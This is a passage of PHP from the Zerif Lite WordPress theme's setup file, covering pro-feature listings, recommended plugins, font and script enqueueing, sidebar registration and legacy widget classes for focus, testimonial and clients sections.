'description' => __( 'Embed your current location to your website by using a Google map.', 'zerif-lite' ),
'is_in_lite' => 'false',
'is_in_pro' => 'true',
),
array(
'title' => __( 'Portfolio', 'zerif-lite' ),
'description' => __( 'Showcase your best projects in the portfolio section.', 'zerif-lite' ),
'is_in_lite' => 'false',
'is_in_pro' => 'true',
),
array(
'title' => __( 'Sections order', 'zerif-lite' ),
'description' => __( 'Arrange the sections by your priorities.', 'zerif-lite' ),
'is_in_lite' => 'false',
'is_in_pro' => 'true',
),
array(
'title' => __( 'Background slider/video', 'zerif-lite' ),
'description' => __( 'Apart from static images, you can use videos or sliders on the background.', 'zerif-lite' ),
'is_in_lite' => 'false',
'is_in_pro' => 'true',
),
array(
'title' => __( 'Support', 'zerif-lite' ),
'description' => __( 'You will benefit of our full support for any issues you have with the theme.', 'zerif-lite' ),
'is_in_lite' => 'false',
'is_in_pro' => 'true',
),
array(
'title' => __( 'Packages/Subscribe sections', 'zerif-lite' ),
'description' => __( 'Add pricing tables for your products and use newsletter forms to attract the clients.', 'zerif-lite' ),
'is_in_lite' => 'false',
'is_in_pro' => 'true',
),
array(
'title' => __( 'Change labels for the Contact Us section', 'zerif-lite' ),
'description' => __( 'Write an original text in each Contact us section field.', 'zerif-lite' ),
'is_in_lite' => 'false',
'is_in_pro' => 'true',
),
array(
'title' => __( 'No credit footer link', 'zerif-lite' ),
'description' => __( 'Remove "Zerif Lite developed by ThemeIsle" copyright from the footer.', 'zerif-lite' ),
'is_in_lite' => 'false',
'is_in_pro' => 'true',
),
),
),
// Plugins array.
'recommended_plugins' => array(
'already_activated_message' => esc_html__( 'Already activated', 'zerif-lite' ),
'version_label' => esc_html__( 'Version: ', 'zerif-lite' ),
'install_label' => esc_html__( 'Install and Activate', 'zerif-lite' ),
'activate_label' => esc_html__( 'Activate', 'zerif-lite' ),
'deactivate_label' => esc_html__( 'Deactivate', 'zerif-lite' ),
'content' => array(
array(
'slug' => 'wpforms-lite',
),
array(
'slug' => 'translatepress-multilingual',
),
array(
'slug' => 'siteorigin-panels',
),
array(
'slug' => 'wp-product-review',
),
array(
'slug' => 'intergeo-maps',
),
array(
'slug' => 'visualizer',
),
array(
'slug' => 'adblock-notify-by-bweb',
),
array(
'slug' => 'nivo-slider-lite',
),
),
),
// Required actions array.
'recommended_actions' => array(
'install_label' => esc_html__( 'Install and Activate', 'zerif-lite' ),
'activate_label' => esc_html__( 'Activate', 'zerif-lite' ),
'deactivate_label' => esc_html__( 'Deactivate', 'zerif-lite' ),
'content' => array(
'themeisle-companion' => array(
'title' => 'Orbit Fox',
'description' => __( 'It is highly recommended that you install the companion plugin to have access to the frontpage sections widgets.', 'zerif-lite' ),
'check' => defined( 'THEMEISLE_COMPANION_VERSION' ),
'plugin_slug' => 'themeisle-companion',
'id' => 'themeisle-companion',
),
'wpforms-lite' => array(
'title' => 'WPForms',
'description' => __( 'Makes your contact page more engaging by creating a good-looking contact form on your website. The interaction with your visitors was never easier.', 'zerif-lite' ),
'check' => defined( 'PIRATE_FORMS_VERSION' ),
'plugin_slug' => 'wpforms-lite',
'id' => 'wpforms-lite',
),
),
),
);
/*
* Add recommendation for Beaver Builder plugin, after 5 days of installing the theme
**/
if ( ! defined( 'FL_BUILDER_VERSION' ) && zerif_check_passed_time( '259200' ) ) {
$elementor_array = array(
'slug' => 'beaver-builder-lite-version',
);
if ( ! empty( $config['recommended_plugins']['content'] ) ) {
array_push( $config['recommended_plugins']['content'], $elementor_array );
}
}
TI_About_Page::init( $config );
/*
* Notifications in customize
*/
require get_template_directory() . '/ti-customizer-notify/class-ti-customizer-notify.php';
$config_customizer = array(
'recommended_plugins' => array(
'themeisle-companion' => array(
'recommended' => true,
/* translators: ThemeIsle Companion install link */
'description' => sprintf( esc_html__( 'If you want to take full advantage of the options this theme has to offer, please install and activate %s', 'zerif-lite' ), sprintf( '<strong>%s</strong>', 'ThemeIsle Companion' ) ),
),
),
'recommended_actions' => array(),
'recommended_actions_title' => esc_html__( 'Recommended Actions', 'zerif-lite' ),
'recommended_plugins_title' => esc_html__( 'Recommended Plugins', 'zerif-lite' ),
'install_button_label' => esc_html__( 'Install and Activate', 'zerif-lite' ),
'activate_button_label' => esc_html__( 'Activate', 'zerif-lite' ),
'deactivate_button_label' => esc_html__( 'Deactivate', 'zerif-lite' ),
);
Ti_Customizer_Notify::init( apply_filters( 'zerif_customizer_notify_array', $config_customizer ) );
}
add_action( 'after_setup_theme', 'zerif_setup' );
/**
* Add compatibility with WooCommerce Product Images customizer controls.
*/
function zerif_set_woo_image_sizes() {
$execute = get_option( 'zerif_update_woocommerce_customizer_controls', false );
if ( $execute !== false ) {
return;
}
update_option( 'woocommerce_thumbnail_cropping', 'custom' );
update_option( 'woocommerce_thumbnail_cropping_custom_width', '3' );
update_option( 'woocommerce_thumbnail_cropping_custom_height', '2' );
if ( class_exists( 'WC_Regenerate_Images' ) ) {
$regenerate_obj = new WC_Regenerate_Images();
$regenerate_obj::init();
if ( method_exists( $regenerate_obj, 'maybe_regenerate_images' ) ) {
$regenerate_obj::maybe_regenerate_images();
} elseif ( method_exists( $regenerate_obj, 'maybe_regenerate_images_option_update' ) ) {
// Force woocommerce 3.3.1 to regenerate images
$regenerate_obj::maybe_regenerate_images_option_update( 1, 2, '' );
}
}
update_option( 'zerif_update_woocommerce_customizer_controls', true );
}
/**
* Migrate logo from theme to core
*/
function zerif_migrate_logo() {
$zerif_old_logo = get_theme_mod( 'zerif_logo' );
if ( ! empty( $zerif_old_logo ) ) {
$zerif_old_logo_id = attachment_url_to_postid( $zerif_old_logo );
if ( is_int( $zerif_old_logo_id ) ) {
set_theme_mod( 'custom_logo', $zerif_old_logo_id );
}
remove_theme_mod( 'zerif_logo' );
}
}
add_action( 'after_setup_theme', 'zerif_migrate_logo' );
/**
* Custom excerpt more link
*/
function zerif_excerpt_more( $more ) {
return ' <a href="' . esc_url( get_the_permalink() ) . '" rel="nofollow"><span class="sr-only">' . esc_html__( 'Read more about ', 'zerif-lite' ) . esc_attr( get_the_title() ) . '</span>[…]</a>';
}
/**
* Check if latest posts
*/
function zerif_lite_is_not_latest_posts() {
return ( 'posts' == get_option( 'show_on_front' ) ? true : false );
}
/**
* Check if frontpage
*/
function zerif_lite_is_static_frontpage() {
if ( 'posts' == get_option( 'show_on_front' ) ) {
return false;
} else {
$frontpage_id = get_option( 'page_on_front' );
if ( 'template-frontpage.php' == get_post_meta( $frontpage_id, '_wp_page_template', true ) ) {
return true;
} else {
return false;
}
}
}
/**
* Register widgetized area and update sidebar with default widgets.
*/
function zerif_widgets_init() {
register_sidebar(
array(
'name' => __( 'Sidebar', 'zerif-lite' ),
'id' => 'sidebar-1',
'before_widget' => '<aside id="%1$s" class="widget %2$s">',
'after_widget' => '</aside>',
'before_title' => '<h2 class="widget-title">',
'after_title' => '</h2>',
)
);
register_sidebar(
array(
'name' => __( 'About us section', 'zerif-lite' ),
'id' => 'sidebar-aboutus',
'before_widget' => '<span id="%1$s">',
'after_widget' => '</span>',
'before_title' => '<h1 class="widget-title">',
'after_title' => '</h1>',
)
);
register_sidebars(
3,
array(
/* translators: Footer area number */
'name' => __( 'Footer area %d', 'zerif-lite' ),
'id' => 'zerif-sidebar-footer',
'before_widget' => '<aside id="%1$s" class="widget footer-widget-footer %2$s">',
'after_widget' => '</aside>',
'before_title' => '<h1 class="widget-title">',
'after_title' => '</h1>',
)
);
}
add_action( 'widgets_init', 'zerif_widgets_init' );
/**
* Enqueue fonts
*/
function zerif_slug_fonts_url() {
$fonts_url = '';
/**
* Translators: If there are characters in your language that are not
* supported by Lora, translate this to 'off'. Do not translate
* into your own language.
*/
$lato = _x( 'on', 'Lato font: on or off', 'zerif-lite' );
$homemade = _x( 'on', 'Homemade font: on or off', 'zerif-lite' );
/**
* Translators: If there are characters in your language that are not
* supported by Open Sans, translate this to 'off'. Do not translate
* into your own language.
*/
$monserrat = _x( 'on', 'Monserrat font: on or off', 'zerif-lite' );
$zerif_use_safe_font = get_theme_mod( 'zerif_use_safe_font' );
if ( ( 'off' !== $lato || 'off' !== $monserrat || 'off' !== $homemade ) && isset( $zerif_use_safe_font ) && ( $zerif_use_safe_font != 1 ) ) {
$font_families = array();
if ( 'off' !== $lato ) {
$font_families[] = 'Lato:300,400,700,400italic';
}
if ( 'off' !== $monserrat ) {
$font_families[] = 'Montserrat:400,700';
}
if ( 'off' !== $homemade ) {
$font_families[] = 'Homemade Apple';
}
$query_args = array(
'family' => urlencode( implode( '|', $font_families ) ),
'subset' => urlencode( 'latin,latin-ext' ),
);
$fonts_url = add_query_arg( $query_args, '//fonts.googleapis.com/css' );
}
return $fonts_url;
}
/**
* Enqueue scripts and styles.
*/
function zerif_scripts() {
wp_enqueue_style( 'zerif_font', zerif_slug_fonts_url(), array(), null );
wp_enqueue_style(
'zerif_font_all',
add_query_arg(
array(
'family' => urlencode( 'Open Sans:300,300italic,400,400italic,600,600italic,700,700italic,800,800italic' ),
'subset' => urlencode( 'latin' ),
),
'//fonts.googleapis.com/css'
)
);
wp_enqueue_style( 'zerif_bootstrap_style', get_template_directory_uri() . '/css/bootstrap.css' );
wp_style_add_data( 'zerif_bootstrap_style', 'rtl', 'replace' );
wp_enqueue_style( 'zerif_fontawesome', get_template_directory_uri() . '/css/font-awesome.min.css', array(), 'v1' );
wp_enqueue_style( 'zerif_style', get_stylesheet_uri(), array( 'zerif_fontawesome' ), ZERIF_LITE_VERSION );
/* Add this style only for the other cases than New users that have a static page */
$zerif_keep_old_fp_template = get_theme_mod( 'zerif_keep_old_fp_template' );
if ( ! ( ! zerif_check_if_old_version_of_theme() && ( get_option( 'show_on_front' ) == 'page' ) && ! $zerif_keep_old_fp_template ) ) {
$custom_css = 'body.home.page:not(.page-template-template-frontpage) {
background-image: none !important;
}';
wp_add_inline_style( 'zerif_style', $custom_css );
}
wp_enqueue_style( 'zerif_responsive_style', get_template_directory_uri() . '/css/responsive.css', array( 'zerif_style' ), ZERIF_LITE_VERSION );
wp_enqueue_style( 'zerif_ie_style', get_template_directory_uri() . '/css/ie.css', array( 'zerif_style' ), ZERIF_LITE_VERSION );
wp_style_add_data( 'zerif_ie_style', 'conditional', 'lt IE 9' );
if ( wp_is_mobile() ) {
wp_enqueue_style( 'zerif_style_mobile', get_template_directory_uri() . '/css/style-mobile.css', array( 'zerif_bootstrap_style', 'zerif_style' ), 'v1' );
}
/* Bootstrap script */
wp_enqueue_script( 'zerif_bootstrap_script', get_template_directory_uri() . '/js/bootstrap.min.js', array( 'jquery' ), ZERIF_LITE_VERSION, true );
/* Knob script */
wp_enqueue_script( 'zerif_knob_nav', get_template_directory_uri() . '/js/jquery.knob.js', array( 'jquery' ), ZERIF_LITE_VERSION, true );
/* Smootscroll script */
$zerif_disable_smooth_scroll = get_theme_mod( 'zerif_disable_smooth_scroll' );
if ( isset( $zerif_disable_smooth_scroll ) && ( $zerif_disable_smooth_scroll != 1 ) ) {
wp_enqueue_script( 'zerif_smoothscroll', get_template_directory_uri() . '/js/smoothscroll.js', array( 'jquery' ), ZERIF_LITE_VERSION, true );
}
/* scrollReveal script */
if ( ! wp_is_mobile() ) {
wp_enqueue_script( 'zerif_scrollReveal_script', get_template_directory_uri() . '/js/scrollReveal.js', array( 'jquery' ), ZERIF_LITE_VERSION, true );
}
/* zerif script */
wp_enqueue_script( 'zerif_script', get_template_directory_uri() . '/js/zerif.js', array( 'jquery', 'zerif_knob_nav' ), ZERIF_LITE_VERSION, true );
if ( is_singular() && comments_open() && get_option( 'thread_comments' ) ) {
wp_enqueue_script( 'comment-reply' );
}
/* HTML5Shiv*/
wp_enqueue_script( 'zerif_html5', get_template_directory_uri() . '/js/html5.js' );
wp_script_add_data( 'zerif_html5', 'conditional', 'lt IE 9' );
/* parallax effect */
if ( ! wp_is_mobile() ) {
/* include parallax only if on frontpage and the parallax effect is activated */
$zerif_parallax_use = get_theme_mod( 'zerif_parallax_show' );
if ( ! empty( $zerif_parallax_use ) && ( $zerif_parallax_use == 1 ) && is_front_page() ) :
wp_enqueue_script( 'zerif_parallax', get_template_directory_uri() . '/js/parallax.js', array( 'jquery' ), 'v1', true );
endif;
}
add_editor_style( '/css/custom-editor-style.css' );
}
add_action( 'wp_enqueue_scripts', 'zerif_scripts' );
/**
* Adjust content width based on template.
*/
function zerif_adjust_content_width() {
global $content_width;
$zerif_change_to_full_width = get_theme_mod( 'zerif_change_to_full_width' );
if ( is_page_template( 'template-fullwidth.php' ) || is_page_template( 'template-fullwidth-no-title.php' ) || is_page_template( 'woocommerce.php' ) || is_page_template( 'single-download.php' ) || ( is_page_template( 'page.php' ) && ! empty( $zerif_change_to_full_width ) ) ) {
$content_width = 1110;
}
}
add_action( 'template_redirect', 'zerif_adjust_content_width' );
/**
* Remove Yoast rel="prev/next" link from header
*/
function zerif_remove_yoast_rel_link() {
return false;
}
add_filter( 'wpseo_prev_rel_link', 'zerif_remove_yoast_rel_link' );
add_filter( 'wpseo_next_rel_link', 'zerif_remove_yoast_rel_link' );
/* Load Jetpack compatibility file. */
require get_template_directory() . '/inc/jetpack.php';
/**
* Menu layout
*/
function zerif_wp_page_menu() {
echo '<ul class="nav navbar-nav navbar-right responsive-nav main-nav-list">';
wp_list_pages(
array(
'title_li' => '',
'depth' => 1,
)
);
echo '</ul>';
}
add_filter( 'the_title', 'zerif_default_title' );
/**
* Add a default title for posts without one
*/
function zerif_default_title( $title ) {
if ( $title == '' ) {
$title = __( 'Default title', 'zerif-lite' );
}
return $title;
}
add_action( 'widgets_init', 'zerif_register_widgets' );
/**
* Register custom widgets
*/
function zerif_register_widgets() {
if ( ! defined( 'THEMEISLE_COMPANION_VERSION' ) ) {
if ( zerif_check_if_old_version_of_theme() ) {
register_widget( 'zerif_ourfocus' );
register_widget( 'zerif_testimonial_widget' );
register_widget( 'zerif_clients_widget' );
register_widget( 'zerif_team_widget' );
}
}
$zerif_lite_sidebars = array(
'sidebar-ourfocus' => 'sidebar-ourfocus',
'sidebar-testimonials' => 'sidebar-testimonials',
'sidebar-ourteam' => 'sidebar-ourteam',
);
/* Register sidebars */
foreach ( $zerif_lite_sidebars as $zerif_lite_sidebar ) :
$extra_class = '';
if ( $zerif_lite_sidebar == 'sidebar-ourfocus' ) :
$zerif_lite_name = __( 'Our focus section widgets', 'zerif-lite' );
elseif ( $zerif_lite_sidebar == 'sidebar-testimonials' ) :
$extra_class = 'feedback-box';
$zerif_lite_name = __( 'Testimonials section widgets', 'zerif-lite' );
elseif ( $zerif_lite_sidebar == 'sidebar-ourteam' ) :
$zerif_lite_name = __( 'Our team section widgets', 'zerif-lite' );
else :
$zerif_lite_name = $zerif_lite_sidebar;
endif;
register_sidebar(
array(
'name' => $zerif_lite_name,
'id' => $zerif_lite_sidebar,
'before_widget' => '<span id="%1$s" class="' . $extra_class . '">',
'after_widget' => '</span>',
)
);
endforeach;
}
if ( ! class_exists( 'zerif_ourfocus' ) && zerif_check_if_old_version_of_theme() ) {
/**
* Our focus widget
*/
class zerif_ourfocus extends WP_Widget {
/**
* Constructor.
*/
public function __construct() {
parent::__construct(
'ctUp-ads-widget',
__( 'Zerif - Our focus widget', 'zerif-lite' ),
array(
'customize_selective_refresh' => true,
)
);
add_action( 'admin_enqueue_scripts', array( $this, 'widget_scripts' ) );
}
/**
* Enqueue scripts
*/
function widget_scripts( $hook ) {
if ( $hook != 'widgets.php' ) {
return;
}
wp_enqueue_media();
wp_enqueue_script( 'zerif_widget_media_script', get_template_directory_uri() . '/js/widget-media.js', false, '1.1', true );
}
/**
* Create the widget
*/
function widget( $args, $instance ) {
echo $args['before_widget'];
echo '<div class="col-lg-3 col-sm-3 focus-box" data-scrollreveal="enter left after 0.15s over 1s">';
if ( ! empty( $instance['image_uri'] ) && ( preg_match( '/(\.jpg|\.png|\.jpeg|\.gif|\.bmp)$/', $instance['image_uri'] ) ) ) {
if ( ! empty( $instance['link'] ) ) {
echo '<a href="' . esc_url( $instance['link'] ) . '" class="service-icon">';
if ( ! empty( $instance['title'] ) ) {
echo '<span class="sr-only">';
printf(
/* Translators: %s: widget title */
__( 'Go to %s', 'zerif-lite' ),
apply_filters( 'widget_title', $instance['title'] )
);
echo '</span>';
}
echo '<i class="pixeden" style="background:url(' . esc_url( $instance['image_uri'] ) . ') no-repeat center;width:100%; height:100%;"></i>';
echo '</a>';
} else {
echo '<div class="service-icon" tabindex="0">';
echo '<i class="pixeden" style="background:url(' . esc_url( $instance['image_uri'] ) . ') no-repeat center;width:100%; height:100%;"></i>';
echo '</div>';
}
} elseif ( ! empty( $instance['custom_media_id'] ) ) {
$zerif_ourfocus_custom_media_id = wp_get_attachment_image_url( $instance['custom_media_id'] );
if ( ! empty( $zerif_ourfocus_custom_media_id ) ) {
if ( ! empty( $instance['link'] ) ) {
echo '<a href="' . esc_url( $instance['link'] ) . '" class="service-icon">';
if ( ! empty( $instance['title'] ) ) {
echo '<span class="sr-only">';
_e( 'Go to', 'zerif-lite' );
echo apply_filters( 'widget_title', $instance['title'] );
echo '</span>';
}
echo '<i class="pixeden" style="background:url(' . esc_url( $zerif_ourfocus_custom_media_id ) . ') no-repeat center;width:100%; height:100%;"></i>';
echo '</a>';
} else {
echo '<div class="service-icon" tabindex="0">';
echo '<i class="pixeden" style="background:url(' . esc_url( $zerif_ourfocus_custom_media_id ) . ') no-repeat center;width:100%; height:100%;"></i>';
echo '</div>';
}
}
}
echo '<h3 class="red-border-bottom">';
if ( ! empty( $instance['title'] ) ) {
echo apply_filters( 'widget_title', $instance['title'] );
}
echo '</h3>';
if ( ! empty( $instance['text'] ) ) {
echo '<p>' . htmlspecialchars_decode( apply_filters( 'widget_title', $instance['text'] ) ) . '</p>';
}
echo '</div>';
echo $args['after_widget'];
}
/**
* Update widgets instance
*/
function update( $new_instance, $old_instance ) {
$instance = $old_instance;
$instance['text'] = stripslashes( wp_filter_post_kses( $new_instance['text'] ) );
$instance['title'] = sanitize_text_field( $new_instance['title'] );
$instance['link'] = esc_url( $new_instance['link'] );
$instance['image_uri'] = esc_url( $new_instance['image_uri'] );
$instance['custom_media_id'] = sanitize_text_field( $new_instance['custom_media_id'] );
$instance['image_in_customizer'] = esc_url( $new_instance['image_in_customizer'] );
return $instance;
}
/**
* Widget controls
*/
function form( $instance ) {
echo '<p>';
echo '<label for="' . $this->get_field_id( 'title' ) . '">' . __( 'Title', 'zerif-lite' ) . '</label><br/>';
echo '<input type="text" name="' . $this->get_field_name( 'title' ) . '" id="' . $this->get_field_id( 'title' ) . '" value="';
if ( ! empty( $instance['title'] ) ) {
echo $instance['title'];
}
echo '" class="widefat">';
echo '</p>';
echo '<p>';
echo '<label for="' . $this->get_field_id( 'text' ) . '">' . __( 'Text', 'zerif-lite' ) . '</label><br/>';
echo '<textarea class="widefat" rows="8" cols="20" name="' . $this->get_field_name( 'text' ) . '" id="' . $this->get_field_id( 'text' ) . '">';
if ( ! empty( $instance['text'] ) ) {
echo htmlspecialchars_decode( $instance['text'] );
}
echo '</textarea>';
echo '</p>';
echo '<p>';
echo '<label for="' . $this->get_field_id( 'link' ) . '">' . __( 'Link', 'zerif-lite' ) . '</label><br/>';
echo '<input type="text" name="' . $this->get_field_name( 'link' ) . '" id="' . $this->get_field_id( 'link' ) . '" value="';
if ( ! empty( $instance['link'] ) ) {
echo esc_url( $instance['link'] );
}
echo '" class="widefat">';
echo '</p>';
echo '<p>';
echo '<label for="' . $this->get_field_id( 'image_uri' ) . '">' . __( 'Image', 'zerif-lite' ) . '</label><br/>';
$image_in_customizer = '';
$display = 'none';
if ( ! empty( $instance['image_in_customizer'] ) && ! empty( $instance['image_uri'] ) ) {
$image_in_customizer = esc_url( $instance['image_in_customizer'] );
$display = 'inline-block';
} else {
if ( ! empty( $instance['image_uri'] ) ) {
$image_in_customizer = esc_url( $instance['image_uri'] );
$display = 'inline-block';
}
}
$zerif_image_in_customizer = $this->get_field_name( 'image_in_customizer' );
echo '<input type="hidden" class="custom_media_display_in_customizer" name="';
if ( ! empty( $zerif_image_in_customizer ) ) {
echo $zerif_image_in_customizer;
}
echo '" value="';
if ( ! empty( $instance['image_in_customizer'] ) ) {
echo $instance['image_in_customizer'];
}
echo '">';
echo '<img class="custom_media_image" src="' . $image_in_customizer . '" style="margin:0;padding:0;max-width:100px;float:left;display:' . $display . '" alt="' . __( 'Uploaded image', 'zerif-lite' ) . '"/><br/>';
echo '<input type="text" class="widefat custom_media_url" name="' . $this->get_field_name( 'image_uri' ) . '" id="' . $this->get_field_id( 'image_uri' ) . '" value="';
if ( ! empty( $instance['image_uri'] ) ) {
echo $instance['image_uri'];
}
echo '" style="margin-top:5px;">';
echo '<input type="button" class="button button-primary custom_media_button" id="custom_media_button" name="' . $this->get_field_name( 'image_uri' ) . '" value="' . __( 'Upload Image', 'zerif-lite' ) . '" style="margin-top:5px;">';
echo '</p>';
echo '<input class="custom_media_id" id="' . $this->get_field_id( 'custom_media_id' ) . '" name="' . $this->get_field_name( 'custom_media_id' ) . '" type="hidden" value="';
if ( ! empty( $instance['custom_media_id'] ) ) {
echo $instance['custom_media_id'];
}
echo '"/>';
}
}
}
if ( ! class_exists( 'zerif_testimonial_widget' ) && zerif_check_if_old_version_of_theme() ) {
/**
* Testimonial widget
*/
class zerif_testimonial_widget extends WP_Widget {
/**
* Constructor.
*/
public function __construct() {
parent::__construct(
'zerif_testim-widget',
__( 'Zerif - Testimonial widget', 'zerif-lite' ),
array(
'customize_selective_refresh' => true,
)
);
add_action( 'admin_enqueue_scripts', array( $this, 'widget_scripts' ) );
}
/**
* Enqueue scripts
*/
function widget_scripts( $hook ) {
if ( $hook != 'widgets.php' ) {
return;
}
wp_enqueue_media();
wp_enqueue_script( 'zerif_widget_media_script', get_template_directory_uri() . '/js/widget-media.js', false, '1.1', true );
}
/**
* Create the widget
*/
function widget( $args, $instance ) {
$zerif_accessibility = get_theme_mod( 'zerif_accessibility' );
// open link in a new tab when checkbox "accessibility" is not ticked
$attribut_new_tab = ( isset( $zerif_accessibility ) && ( $zerif_accessibility != 1 ) ? ' target="_blank"' : '' );
echo $args['before_widget'];
if ( ! empty( $instance['text'] ) ) {
echo '<div class="message">' . htmlspecialchars_decode( apply_filters( 'widget_title', $instance['text'] ) ) . '</div>';
}
echo '<div class="client">';
echo '<div class="quote red-text">';
echo '<i class="fa fa-quote-left"></i>';
echo '</div>';
echo '<div class="client-info">';
echo '<a ' . $attribut_new_tab . ' class="client-name"';
if ( ! empty( $instance['link'] ) ) {
echo 'href="' . esc_url( $instance['link'] ) . '"';
}
echo '>';
if ( ! empty( $instance['title'] ) ) {
echo apply_filters( 'widget_title', $instance['title'] );
}
echo '</a>';
if ( ! empty( $instance['details'] ) ) {
echo '<div class="client-company">' . apply_filters( 'widget_title', $instance['details'] ) . '</div>';
}
echo '</div>';
if ( ! empty( $instance['image_uri'] ) && ( preg_match( '/(\.jpg|\.png|\.jpeg|\.gif|\.bmp)$/', $instance['image_uri'] ) ) ) {
echo '<div class="client-image hidden-xs">';
echo '<img src="' . esc_url( $instance['image_uri'] ) . '" alt="" />';
echo '</div>';
} elseif ( ! empty( $instance['custom_media_id'] ) ) {
$zerif_testimonials_custom_media_id = wp_get_attachment_image_url( $instance['custom_media_id'] );
$alt = get_post_meta( $instance['custom_media_id'], '_wp_attachment_image_alt', true );
if ( ! empty( $zerif_testimonials_custom_media_id ) ) {
echo '<div class="client-image hidden-xs">';
echo '<img src="' . esc_url( $zerif_testimonials_custom_media_id ) . '" alt="' . esc_attr( $alt ) . '" />';
echo '</div>';
}
}
echo '</div>';
echo $args['after_widget'];
}
/**
* Update widget's values
*/
function update( $new_instance, $old_instance ) {
$instance = $old_instance;
$instance['text'] = stripslashes( wp_filter_post_kses( $new_instance['text'] ) );
$instance['title'] = sanitize_text_field( $new_instance['title'] );
$instance['details'] = sanitize_text_field( $new_instance['details'] );
$instance['image_uri'] = esc_url( $new_instance['image_uri'] );
$instance['link'] = esc_url( $new_instance['link'] );
$instance['custom_media_id'] = sanitize_text_field( $new_instance['custom_media_id'] );
$instance['image_in_customizer'] = esc_url( $new_instance['image_in_customizer'] );
return $instance;
}
/**
* Form the widget
*/
function form( $instance ) {
echo '<p>';
echo '<label for="' . $this->get_field_id( 'title' ) . '">' . __( 'Author', 'zerif-lite' ) . '</label><br/>';
echo '<input type="text" name="' . $this->get_field_name( 'title' ) . '" id="' . $this->get_field_id( 'title' ) . '" value="';
if ( ! empty( $instance['title'] ) ) {
echo $instance['title'];
}
echo '" class="widefat">';
echo '</p>';
echo '<p>';
echo '<label for="' . $this->get_field_id( 'link' ) . '">' . __( 'Author link', 'zerif-lite' ) . '</label><br/>';
echo '<input type="text" name="' . $this->get_field_name( 'link' ) . '" id="' . $this->get_field_id( 'link' ) . '" value="';
if ( ! empty( $instance['link'] ) ) {
echo esc_url( $instance['link'] );
}
echo '" class="widefat">';
echo '</p>';
echo '<p>';
echo '<label for="' . $this->get_field_id( 'details' ) . '">' . __( 'Author details', 'zerif-lite' ) . '</label><br/>';
echo '<input type="text" name="' . $this->get_field_name( 'details' ) . '" id="' . $this->get_field_id( 'details' ) . '" value="';
if ( ! empty( $instance['details'] ) ) {
echo $instance['details'];
}
echo '" class="widefat">';
echo '</p>';
echo '<p>';
echo '<label for="' . $this->get_field_id( 'text' ) . '">' . __( 'Text', 'zerif-lite' ) . '</label><br/>';
echo '<textarea class="widefat" rows="8" cols="20" name="' . $this->get_field_name( 'text' ) . '" id="' . $this->get_field_id( 'text' ) . '">';
if ( ! empty( $instance['text'] ) ) {
echo htmlspecialchars_decode( $instance['text'] );
}
echo '</textarea>';
echo '</p>';
echo '<p>';
echo '<label for="' . $this->get_field_id( 'image_uri' ) . '">' . __( 'Image', 'zerif-lite' ) . '</label><br/>';
$image_in_customizer = '';
$display = 'none';
if ( ! empty( $instance['image_in_customizer'] ) && ! empty( $instance['image_uri'] ) ) {
$image_in_customizer = esc_url( $instance['image_in_customizer'] );
$display = 'inline-block';
} else {
if ( ! empty( $instance['image_uri'] ) ) {
$image_in_customizer = esc_url( $instance['image_uri'] );
$display = 'inline-block';
}
}
$zerif_image_in_customizer = $this->get_field_name( 'image_in_customizer' );
echo '<input type="hidden" class="custom_media_display_in_customizer" name="';
if ( ! empty( $zerif_image_in_customizer ) ) {
echo $zerif_image_in_customizer;
}
echo '" value="';
if ( ! empty( $instance['image_in_customizer'] ) ) {
echo $instance['image_in_customizer'];
}
echo '">';
echo '<img class="custom_media_image" src="' . $image_in_customizer . '" style="margin:0;padding:0;max-width:100px;float:left;display:' . $display . '" alt="' . __( 'Uploaded image', 'zerif-lite' ) . '"/><br/>';
echo '<input type="text" class="widefat custom_media_url" name="' . $this->get_field_name( 'image_uri' ) . '" id="' . $this->get_field_id( 'image_uri' ) . '" value="';
if ( ! empty( $instance['image_uri'] ) ) {
echo $instance['image_uri'];
}
echo '" style="margin-top:5px;">';
echo '<input type="button" class="button button-primary custom_media_button" id="custom_media_button" name="' . $this->get_field_name( 'image_uri' ) . '" value="' . __( 'Upload Image', 'zerif-lite' ) . '" style="margin-top:5px;">';
echo '</p>';
echo '<input class="custom_media_id" id="' . $this->get_field_id( 'custom_media_id' ) . '" name="' . $this->get_field_name( 'custom_media_id' ) . '" type="hidden" value="';
if ( ! empty( $instance['custom_media_id'] ) ) {
echo $instance['custom_media_id'];
}
echo '"/>';
}
}
}
if ( ! class_exists( 'zerif_clients_widget' ) && zerif_check_if_old_version_of_theme() ) {
/**
* Clients widget
*/
class zerif_clients_widget extends WP_Widget {
/**
* Constructor
*/
public function __construct() {
parent::__construct(
'zerif_clients-widget',
__( 'Zerif - Clients widget', 'zerif-lite' ),
array(
'customize_selective_refresh' => true,
)
);
add_action( 'admin_enqueue_scripts', array( $this, 'widget_scripts' ) );
}
/**
* Enqueue widgets scripts
*/
function widget_scripts( $hook ) {
if ( $hook != 'widgets.php' ) {
return;
}
wp_enqueue_media();
wp_enqueue_script( 'zerif_widget_media_script', get_template_directory_uri() . '/js/widget-media.js', false, '1.1', true );
}
/**
* Widget instance
*/
function widget( $args, $instance ) {
echo $args['before_widget'];
echo '<a href="';
if ( ! empty( $instance['link'] ) ) {
echo apply_filters( 'widget_title', $instance['link'] );
}
echo '">';
if ( ! empty( $instance['image_uri'] ) && ( preg_match( '/(\.jpg|\.png|\.jpeg|\.gif|\.bmp)$/', $instance['image_uri'] ) ) ) {
echo '<img src="' . esc_url( $instance['image_uri'] ) . '" alt="' . __( 'Client', 'zerif-lite' ) . '">';
} elseif ( ! empty( $instance['custom_media_id'] ) ) {
$zerif_clients_custom_media_id = wp_get_attachment_image_url( $instance['custom_media_id'] );
if ( ! empty( $zerif_clients_custom_media_id ) ) {
echo '<img src="' . esc_url( $zerif_clients_custom_media_id ) . '" alt="' . __( 'Client', 'zerif-lite' ) . '">';
}
}
echo '</a>';
echo $args['after_widget'];
}
/**
* Update the widget
*/
function update( $new_instance, $old_instance ) {
$instance = $old_instance;
$instance['link'] = esc_url( $new_instance['link'] );
$instance['image_uri'] = esc_url( $new_instance['image_uri'] );
$instance['image_in_customizer'] = esc_url( $new_instance['image_in_customizer'] );
$instance['custom_media_id'] = sanitize_text_field( $new_instance['custom_media_id'] );
return $instance;
}
/**
* Form the widget
*/
function form( $instance ) {
echo '<p>';
echo '<label for="' . $this->get_field_id( 'link' ) . '">' . __( 'Link', 'zerif-lite' ) . '</label><br/>';
echo '<input type="text" name="' . $this->get_field_name( 'link' ) . '" id="' . $this->get_field_id( 'link' ) . '" value="';
if ( ! empty( $instance['link'] ) ) {
echo $instance['link'];
}
echo '" class="widefat">';
echo '</p>';
echo '<p>';
